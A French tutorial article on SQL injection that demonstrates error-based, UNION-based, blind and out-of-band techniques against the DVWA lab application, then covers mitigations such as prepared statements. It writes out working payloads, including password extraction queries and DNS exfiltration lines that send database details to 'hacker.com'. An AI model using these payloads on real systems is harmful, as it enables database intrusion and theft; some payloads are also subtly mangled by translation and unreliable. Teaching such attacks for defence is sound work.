Les attaques par injection SQL constituent toujours une menace pour les applications Web actuelles, malgré leur longue histoire. Dans cet article, nous abordons les techniques d’attaque par injection SQL les plus courantes avec des exemples concrets de DVWA ( Damn Vulnerable Web Application ).

1. Qu’est-ce que l’injection SQL ?

L’injection SQL est une technique qui permet à un adversaire d’insérer des commandes SQL arbitraires dans les requêtes qu’une application Web adresse à sa base de données. Il peut fonctionner sur des pages Web et des applications vulnérables qui utilisent une base de données principale comme MySQL, Oracle et MSSQL.

Une attaque réussie peut conduire à un accès non autorisé à des informations sensibles dans la base de données ou à la modification d’entrées (ajout/suppression/mise à jour), selon le type de la base de données affectée. Il peut également être possible d’utiliser SQL Injection pour contourner l’authentification et l’autorisation dans l’application, arrêter ou même supprimer l’intégralité de la base de données.

2. Comment fonctionnent les attaques par injection SQL ?

Nous verrons quelques exemples concrets de multiples techniques pouvant être utilisées pour exploiter les vulnérabilités d’injection SQL dans les applications Web.

L’application cible dans notre cas sera  Damn Vulnerable Web Application  (DVWA), qui contient plusieurs types de vulnérabilités (SQLi, XSS, LFI, etc.) et constitue un excellent banc d’essai pour apprendre la sécurité Web.

Les types d’  attaques par injection SQL  dont nous parlerons sont :

  1. Injection SQL basée sur les erreurs
  2. Injection SQL basée sur UNION
  3. Injection SQL aveugle
  4. Injection SQL hors bande

2.a. Injection SQL basée sur les erreurs

L’un des types les plus courants de vulnérabilités d’injection SQL, il est également assez facile à déterminer. Il s’appuie sur l’envoi de commandes inattendues ou d’entrées non valides, généralement via une interface utilisateur, pour que le serveur de base de données réponde avec une erreur pouvant contenir des détails sur la cible : structure, version, système d’exploitation, et même pour renvoyer des résultats de requête complets.

Dans l’exemple ci-dessous, la page Web permet de récupérer le prénom et le nom de l’utilisateur pour un identifiant donné. En soumettant  5 comme entrée pour l’ID utilisateur, l’application renvoie les détails de l’utilisateur à partir de la base de données.

détails de l'utilisateur

La requête SQL utilisée par l’application est :

SELECT firstname, lastname FROM users WHERE user_id = ‘$id’;

la requête SQL utilisée par l'application

Le serveur accepte l’entrée de l’utilisateur et renvoie les valeurs associées, indiquant qu’un attaquant peut utiliser une entrée malveillante pour modifier la requête principale. En tapant  5', le backend répond avec une erreur due au guillemet simple :

le backend répond avec une erreur

L’entrée de l’utilisateur modifie la requête backend, qui devient :

SELECT firstname, lastname FROM users WHERE user_id = ‘5 »; (notez la citation supplémentaire ici)

En faisant les mêmes requêtes directement sur le serveur de base de données (juste à des fins de test), les mêmes résultats sont visibles :

requêtes sur le serveur de base de données
requêtes affichées sur le serveur de base de données

L’exploitation de l’injection SQL basée sur les erreurs repose sur le fait que la requête SQL injectée affichera les résultats dans le message d’erreur renvoyé par la base de données. Par exemple, en injectant la charge utile suivante dans le champ User ID :

0′ AND (SELECT 0 FROM (SELECT count(), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)2)) AS x FROM information_schema.columns GROUP BY x) y) – – ‘

entraînera l’application à renvoyer le message d’erreur SQL suivant (contenant la valeur de la variable @@version) :

Error: Duplicate entry ‘10.1.36-MariaDB#0’ for key ‘group_key’

L’erreur est générée car GROUP BY nécessite des clés de groupe uniques, qui sont intentionnellement non uniques pour renvoyer la valeur de  SELECT @@version dans le message d’erreur.

2.b. Injection SQL basée sur UNION

L’opérateur UNION étend les résultats renvoyés par la requête d’origine, permettant aux utilisateurs d’exécuter deux ou plusieurs instructions si elles ont la même structure que celle d’origine. Nous avons choisi SELECT dans notre exemple ; pour que l’exploit fonctionne, les conditions suivantes sont requises :

  • Chaque instruction SELECT dans UNION a le même nombre de colonnes
  • Les colonnes doivent également avoir des types de données similaires
  • Les colonnes de chaque instruction SELECT sont dans le même ordre

SELECT firstname, lastname FROM users UNION SELECT username, password FROM login;

Ici,  first_name  et  last_name  sont les noms des colonnes de la table  users , et  username  et  password  sont les noms des colonnes de la table  login .

L’exécution d’un opérateur UNION avec des instructions faisant référence à différents nombres de colonnes génère un message d’erreur, comme avec la charge utile suivante :

User ID: 1’ UNION SELECT 1;- –

exécution d'une vulnérabilité UNION operationSQLI

Cependant, la requête réussit lorsqu’elle contient le nombre correct de colonnes :

ID de l’utilisateur: 1' UNION SELECT 1,2;- -

SQL Injection exploité avec succès

L’essayer dans la base de données donne le même résultat ; un nombre incorrect indique une erreur et les bonnes valeurs complètent la requête avec succès :

base de données insertion de valeurs d'ID utilisateur

Un attaquant peut tester plusieurs variantes jusqu’à ce qu’il trouve la bonne. Ensuite, ils peuvent utiliser cette méthode pour obtenir des informations sur le numéro de version de la base de données à l’aide de la  commande @@version :

UNION SELECT 1,@@version;- –

De même, la commande  current_user()  peut extraire le type d’utilisateur sous les privilèges duquel la base de données s’exécute.

UNION SELECT 1,current_user();- –

ID utilisateur d'injection SQL basé sur UNION

En exploitant davantage  la vulnérabilité , nous pouvons obtenir le nom des tables de la base de données actuelle ainsi que les mêmes détails pour les colonnes de la table contenant des informations.

Pour extraire la liste des tables, on peut utiliser :

1′ UNION SELECT 1,tablename FROM informationschema.tables;- –

Extraction de données par injection SQL basée sur UNION

Pour obtenir les noms de colonnes, nous pouvons utiliser :

1′ UNION SELECT 1,columnname FROM informationschema.columns;- –

Données d'injection SQL basées sur UNION extraites

À l’aide de ces deux requêtes, nous avons extrait les noms de table  users  et les noms de colonne  useridfirst_namelast_nameuseravatarlast_loginpassword et  failed_login . Maintenant, en utilisant la requête ci-dessous, nous pouvons obtenir les noms d’utilisateur et les mots de passe des utilisateurs de l’application à partir de la base de données :

1′ UNION SELECT 1,concat(user,’:’,password) FROM users;- –

Extraction de mots de passe par injection SQL basée sur UNION

Très probablement, le mot de passe n’est pas stocké en texte brut mais sous forme hachée (MD5 dans notre cas). Cependant, un attaquant peut essayer de le déchiffrer à l’aide de tables arc-en-ciel, qui associent des chaînes de texte brut à leur représentation par hachage.

2.c. Injection SQL aveugle

Ce type d’attaque par injection n’affiche aucun message d’erreur, d’où « aveugle » dans son nom. Il est plus difficile à exploiter car il renvoie des informations lorsque l’application reçoit des charges utiles SQL qui renvoient une  réponse vraie  ou  fausse  du serveur. En observant la réponse, un attaquant peut extraire des informations sensibles.

Il existe deux types d’injection SQL aveugle : basée sur les booléens et basée sur le temps.

Injection SQL aveugle basée sur les booléens

Dans ce type d’attaque, une requête booléenne amène l’application à donner une réponse différente pour un résultat valide ou invalide dans la base de données. Cela fonctionne en énumérant les caractères du texte qui doivent être extraits (ex. nom de la base de données, nom de la table, nom de la colonne, etc.) un par un.

En utilisant la même application vulnérable qu’auparavant, au lieu de recevoir les détails de l’utilisateur pour l’ID utilisateur fourni, la réponse indique si l’ID est présent ou non dans la base de données.

ID utilisateur booléen d'injection SQL aveugle

Comme vous pouvez le voir dans l’image ci-dessus, nous obtenons le message « L’ID utilisateur existe dans la base de données » pour les valeurs 1 à 5, tandis qu’une valeur d’ID supérieure à 5 obtient « L’ID utilisateur est MANQUANT dans la base de données ».

Nous pouvons essayer une charge utile basée sur un booléen pour vérifier si l’application est vulnérable. L’injection de la charge utile  1' and 1=1;- - entraîne une  condition vraie  car  1 est un ID valide et  '1=1' est une instruction TRUE. Ainsi, le résultat renvoyé informe que l’ID est présent dans la base de données.

Charge utile booléenne injectée dans l'application

Alternativement, l’alimentation de la charge utile  1' and 1=2;- - entraîne une  condition fausse  car  1 est un ID utilisateur valide et  1=2 est  faux ; ainsi, nous sommes informés que l’ID utilisateur n’existe pas dans la base de données.

ID utilisateur de charge utile basé sur booléen injecté dans l'application

Le scénario ci-dessus indique qu’une attaque par injection SQL aveugle est possible. Pour aller de l’avant avec l’identification du nombre de colonnes, nous utilisons la charge utile suivante :

1′ and 1=1 UNION SELECT 1;- –

L'ID utilisateur de l'injection SQL est absent de la base de données

La requête échoue car il y a deux colonnes dans la table. Mais lorsqu’elle est ajustée correctement, la condition devient  vraie  et le message valide la requête.

1′ and 1=1 UNION SELECT 1,2;- –

L'ID utilisateur d'injection SQL existe dans la base de données

La même méthode peut être utilisée pour découvrir la version de la base de données. Nous obtenons le premier numéro de la version de la base de données avec :

1′ and substring(@@version,1,1)=1;- –

La réponse est positive car ‘1’ est une entrée valide dans la base de données et c’est aussi le premier caractère/numéro de la version de la base de données (@@version,1,1). Pour le deuxième caractère, nous utilisons la commande suivante :

1′ and substring(@@version,2,1)=1;- –

L'ID utilisateur SQL Injection BLIND est absent de la base de données

Puisque le deuxième caractère de la version de la base de données n’est pas 1, il y a un résultat négatif. En demandant un « zéro » comme deuxième caractère dans la version de la base de données, le message est positif (le numéro de version est « 10 »).

1′ and substring(@@version,2,1)=0;- –

L'ID utilisateur aveugle d'injection SQL existe dans la base de données

L’étape suivante consiste à apprendre le nom de la base de données, qui commence par déterminer la longueur du nom, puis à énumérer les caractères dans le bon ordre jusqu’à ce que la bonne chaîne soit atteinte.

Nous utilisons les charges utiles suivantes pour déterminer la longueur du nom :

1’ and length(database())=1;– 1’ and length(database())=2;- – 1’ and length(database())=3;- – 1’ and length(database())=4;- –

Dans notre cas, nous avons reçu des erreurs pour les trois premières tentatives et atteint la bonne valeur à la quatrième. Cela signifie que le nom de la base de données comporte quatre caractères.

L'ID utilisateur d'injection SQL 4 existe dans le message de la base de données

Pour énumérer les caractères du nom de la base de données, nous utilisons ces charges utiles :

1′ and substring(database(),1,1)=’a’;- – 1′ and substring(database(),1,1)=’b’;- – 1′ and substring(database(),1,1)=’c’;- –

Aucune des commandes n’était correcte car’ est la première lettre du nom.

L'ID utilisateur de l'injection SQL est absent de la base de données
L'ID utilisateur d'injection SQL existe dans la base de données

Passant à l’identification du deuxième caractère, nous utilisons la commande

1′ and substring(database(),2,1)=’v’;- –

Et pour le troisième, on lance :

1′ and substring(database(),3,1)=’w’;- –

Alors que le quatrième est découvert en utilisant:

1′ and substring(database(),4,1)=’a’;- –

Application vulnérable de base de données d'ID utilisateur d'injection SQL

Au final, le nom de la base de données est « dvwa ».

Injection SQL aveugle basée sur le temps

Ce type d’injection SQL aveugle repose sur l’attente d’une période spécifique avant qu’une application vulnérable ne réponde aux requêtes d’un attaquant personnalisées avec une valeur de délai. Le succès de l’attaque est basé sur le temps mis par l’application pour fournir la réponse. Pour vérifier l’injection SQL aveugle basée sur le temps, nous utilisons cette commande :

1′ AND sleep(10);- –

Parce que nous avons forcé une réponse différée de 10 secondes, la réponse arrive à l’expiration de cette période.

suite burp utilisée pour vérifier l'injection sql

Avec la confirmation de la vulnérabilité, nous pouvons procéder à l’extraction du numéro de version de la base de données. Nous avons utilisé une commande qui force une réponse après deux secondes :

1′ and if((select+@@version) like « 10% »,sleep(2),null);- -+

Si la réponse arrive en deux secondes, cela signifie que la version commence par « 10 ». L’opérateur de chaîne « like » que nous avons utilisé dans la requête est conçu pour effectuer une comparaison caractère par caractère.

2.d. Injection SQL hors bande

Avec ce type d’injection SQL, l’application affiche la même réponse indépendamment de l’entrée de l’utilisateur et de l’erreur de base de données. Pour récupérer la sortie, un canal de transport différent comme les requêtes HTTP ou la résolution DNS est utilisé ; notez que l’attaquant doit contrôler ledit serveur HTTP ou DNS.

En exfiltrant des informations sur une base de données MYSQL, un attaquant peut employer ces requêtes :

Version de la base de données :

1’;select load_file(concat(‘\\\\’,version(),’.hacker.com\\s.txt’));

Nom de la base de données:

1’;select load_file(concat(‘\\\\’,database(),’.hacker.com\\s.txt’));

Les deux commandes ci-dessus concatènent la sortie des commandes  version()  ou  database()  dans la requête de résolutions DNS pour le domaine « hacker.com ».

L’image ci-dessous montre comment la version et le nom de la base de données ont été ajoutés aux informations DNS du domaine malveillant. L’attaquant qui contrôle le serveur peut lire les informations des fichiers journaux.

L'attaquant contrôlant le serveur

3. Atténuation de l’injection SQL

À la base, SQL Injection a deux causes principales :

  • Échec de la validation de l’entrée avant la construction de la requête
  • L’entrée de l’utilisateur est incluse dans la création de requêtes dynamiques

Pour atténuer le problème, les développeurs peuvent appliquer la validation des entrées et recourir à des instructions préparées en combinaison avec d’autres méthodes de protection.

3.a. Validation de l’entrée fournie par l’utilisateur

Cela est possible de deux manières : les caractères de liste blanche et de liste noire qui sont acceptés ou refusés dans les champs de saisie de l’utilisateur.

La création d’une liste de caractères approuvés est une méthode efficace pour se défendre contre les attaques par injection SQL. Une fois la liste blanche prête, l’application doit interdire toutes les requêtes contenant des caractères en dehors de celle-ci.

La mise sur liste noire n’est pas un moyen recommandé de se protéger contre l’injection SQL car elle est très sujette à l’échec. Cela fonctionne tant que le développeur peut s’assurer que les champs de saisie de l’utilisateur n’acceptent aucun caractère spécial, autre que ce qui est requis. Le résultat devrait échapper à tous les caractères qui peuvent s’avérer nuisibles.

3.b. Déclarations préparées

Cela peut forcer les requêtes frontales à être traitées comme le contenu du paramètre, et non comme faisant partie de la requête SQL elle-même. Cela signifie qu’il n’y a aucun moyen pour un attaquant de modifier la requête SQL backend en insérant une entrée malveillante au niveau du front-end de l’application.

Voici un exemple d’instruction préparée en Java :

String uid = request.getParameter("userid");
String query = "SELECT first_name, last_name FROM users WHERE user_id = ? ";
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, uid);
ResultSet results = pstmt.executeQuery( );

3.c. Le principe du moindre privilège

Empêche l’utilisateur de la base de données d’application d’exécuter des requêtes nécessitant des privilèges élevés. Le résultat est un impact moindre de l’attaque par injection SQL. Par exemple, un compte qui n’a qu’un accès en lecture à la base de données ne peut pas être utilisé pour modifier les informations stockées si l’application est compromise.

3.d. Couches de sécurité supplémentaires

Des solutions telles qu’un pare-feu d’application Web (WAF) peuvent constituer une mesure supplémentaire de protection contre les attaques par injection SQL. Les WAF inspectent le trafic au niveau de l’application et peuvent déterminer s’il est mauvais ou non. Une maintenance est nécessaire car les signatures doivent être mises à jour, sinon les attaquants peuvent trouver un moyen de contourner le WAF.

En savoir plus sur ces attaques courantes par injection SQL

L’injection SQL est l’une des vulnérabilités les plus courantes et les plus dangereuses. Une petite erreur dans le processus de validation de l’entrée de l’utilisateur peut coûter aux victimes la totalité de la base de données. Il existe plusieurs outils open source qui facilitent le travail d’un attaquant en lui donnant un accès au shell ou en l’aidant à vider la base de données.

Les développeurs peuvent éviter ce risque de sécurité en suivant les directives de codage sécurisé pour écrire des requêtes SQL dans l’application et en adoptant les meilleures pratiques.

Vous pouvez en savoir plus sur l’injection SQL dans ces ressources de l’OWASP :